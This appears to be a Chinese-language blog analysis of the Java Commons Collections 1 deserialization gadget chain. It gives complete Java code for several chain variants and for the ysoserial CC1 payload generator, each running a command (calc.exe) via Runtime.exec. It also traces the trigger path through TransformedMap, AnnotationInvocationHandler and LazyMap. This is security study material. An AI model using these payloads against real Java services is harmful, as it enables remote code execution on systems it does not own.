CommonsCollections1 浅析
CC1 是反序列化最基础的一个利用链,也是最简单能看明白原理的链子。
简化 CC1
首先是一个超级简化的 CC1,它的作用是在本地执行 Runtime.getRuntime ().exec (“C:/Windows/System32/calc.exe”) 这行代码弹出计算器
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollection1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),// 包装 Runtime 类,在执行 transform 时返回该对象
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"C:/Windows/System32/calc.exe"}),};
//InvokerTransformer 第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:
Transformer transformerChain = new ChainedTransformer(transformers);
// 将内部的多个 Transformer 串在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//TransformedMap ⽤于对 Java 标准数据结构 Map 做⼀个修饰,被修饰过的 Map 在添加新的元素时,将可以执⾏⼀个回调
// 我们这⾥所说的” 回调 “,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了 Transformer 接⼝的类
outerMap.put("test", "xxxx");
}
}- ConstantTransformer () 方法是对对象进行包装,当触发 transform 时返回该对象
- new InvokerTransformer(“exec”, new Class ,new Object ) 代表将要执行的是 exec(“C:/Windows/System32/calc.exe”)方法
- ChainedTransformer 的作用是将内部的多个 Transformer 串在⼀起。即前⼀个回调返回的结果,作为后⼀个回调的参数传入。譬如上述代码中,会先执行 ConstantTransformer (Runtime.getRuntime ()) 获取 Runtime.getRuntime () 对象,然后这个对象作为 InvokerTransformer (“exec”, new Class ,new Object ) 中的 new Class 的参数内容进行执行 Runtime.getRuntime ().exec (“C:/Windows/System32/calc.exe”) 弹出计算器
- TransformedMap ⽤于对 Java 标准数据结构 Map 做⼀个修饰,被修饰过的 Map 在添加新的元素时,将可以执⾏⼀个回调。而 TransformedMap.decorate () 执行后会返回被修饰后的 Map
- outerMap.put (“test”, “xxxx”); 触发 transform 从而触发整条利用链
触发点 TransformedMap.put
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);// 触发
return getMap().put(key, value);
}protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}那 valueTransformer 是什么呢?我们回头看看 TransformedMap.decorate ()
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}发现了吗,Map outerMap = TransformedMap.decorate (innerMap, null, transformerChain); 其中的 valueTransformer 就是 transformerChain 就是命令执行的起始链,当触发后就会如上述点 3 介绍一样串联执行命令弹出计算器
调用链
- TransformedMap.put()
- TransformedMap.transformValue()
- ChainedTransformer.transform()
- ConstantTransformer.transform()
- InvokerTransformer.transform()
CC1x
现在我们再看一个简化 CC1 的升级版本,上面简化的 CC1 的触发方式是添加元素,然而我们执行反序列化时总不能在服务端添加元素触发利用链,因此我们需要换一个方法,那么就看看 CC1x
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CommonCollection1x {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),// 获取 class 对象而不是 Runtime 对象,因为 Runtime 对象有部分未实现序列化
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),// 在 transformerChain 时 new Class [0] 对应上述 Runtime.class
// 获取 getRuntime 方法
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0]}),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {"C:/Windows/System32/calc.exe" }),};// 调用执行 exec ("calc.exe") 弹出计算机
Transformer transformerChain = new ChainedTransformer(transformers);// 进行串联
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");//AnnotationInvocationHandler:readObject 的逻辑中,有一个 if 语句对 var7 进行判断,详情参考 Java 漫谈 10
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// 返回修饰后的 TransformedMap
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 这里因为 sun.reflect.annotation.AnnotationInvocationHandler 是在 JDK 内部的类,不能直接使用 new 来实例化。因此使用反射获取它的构造方法
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);// 根据他的参数对该类的构造函数进行搜索并返回对应的构造函数
construct.setAccessible(true);// 将其设置成外部可见的
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);// 再调用就可以实例化了
/* 触发原理:核心逻辑就是在 AnnotationInvocationHandler 的 readobject 里面有
Map.Entry<String, Object> memberValue : memberValues.entrySet () 和 memberValue.setValue (...)。
memberValues 就是反序列化后得到的 Map,也是经过了 TransformedMap 修饰的对象,这里遍历了它
的所有元素,并依次设置值。在调用 setValue 设置值的时候就会触发 TransformedMap 里注册的 Transform,进而执行我们为其精心设计的任意代码 */
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}// 好像跑不了,版本要 Java 8u71 以前的版本因为版本问题,部分源码借鉴一下,分析一下触发方式。
既然不能直接添加新元素,那我们要找到替代的类似方法,那么 sun.reflect.annotation.AnnotationInvocationHandler 这个类就符合我们的需求,看看它的 readObject 方法
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type in
annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue :
memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue( //setValue 进行触发
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}可以看到函数中有进行 memberValue.setValue,而这个 memberValue 就是 TransformedMap,跳转查看实现其在 TransformedMap 的实现
/**
* Override to transform the value when using <code>setValue</code>.
*
* @param value the value to transform
* @return the transformed value
* @since Commons Collections 3.1
*/
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}又看见熟悉的 transform 了,那么后面就是命令执行的调用链的开始
可以看到 CC1x 的代码有些不一样,不同全部用注释写在代码里了,需要注意的是这里使用的是反射获取原本不能访问的类,反射这是个神奇的机制,要深入了解一下。
调用链
- AnnotationInvocationHandler.readObject()
- TransformedMap.setvalue()
- ChainedTransformer.transform()
- ConstantTransformer.transform()
- InvokerTransformer.transform()
CC1xx
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonCollection1xx {// 使用 Proxy 进行代理,在 readObject 的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的 LazyMap#get,从而触发回调,详情参考 Java 漫谈 11
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {// 初始构造
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "C:/Windows/System32/calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);// 串联
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);// 对象代理进行劫持
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
// 我们如果将这个对象用 Proxy 进行代理,那么在 readObject 的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的 LazyMap#get
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
上述代码复现失败,而且 Debug 也有问题,进入 invoke 调用 get 时的对象居然不是 LazyMap 而是 AnnotationInvocationHandler 内置的 LinkedHashMap,不清楚是不是版本问题,求解。调试发现第一次对象为 LazyMap 执行时未成功触发调用 invoke。
这里只讲讲利用思路,将 AnnotationInvocationHandle 对象用 Proxy 进行代理,那么在 readObject 的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的 LazyMap#get,触发里面的 transform 从而触发整条调用链
如下是 AnnotationInvocationHandler#invoke 方法
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);// 当 this.memberValues 为 LazyMap 时触发 LazyMap.get ()
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}再看 Lazy.get () 方法执行了 factory.transform (key); 而 factory 是 transform 类型就是我们构造时传入的 ChainedTransformer,从而触发 ChainedTransformer.transform ()
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);// 触发 ChainedTransformer.transform ()
map.put(key, value);
return value;
}
return map.get(key);
}调用链
- AnnotationInvocationHandler.readObject()
- mapProxy.entrySet().iterator()
- AnnotationInvocationHandler.invoke()
- LazyMap.get()
- ChainedTransformer.transform()
- ConstantTransformer.transform()
- InvokerTransformer.transform()
ysoserial 里的 CC1 链
现在我们再来看看 ysoserial 里面的 CC1 链
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}可以发现和 CC1xx 链很像,但是又有所不同。细看代码可以发现它先构造了一个无用的 transformerChain,然后在最后才把真正 transformers 替换进去。这样的好处是防止在本地执行代码时触发调用链弹出计算器,如果你调试过之前的代码,你就会发现在 readObject () 前计算器就会弹出来一次。
在 transformers 这个集合的调用链里面多加了一行 new ConstantTransformer (1),这行代码作用是掩盖执行调用链时的报错信息,掩盖真正的触发点。其余的代码都是大同小异。
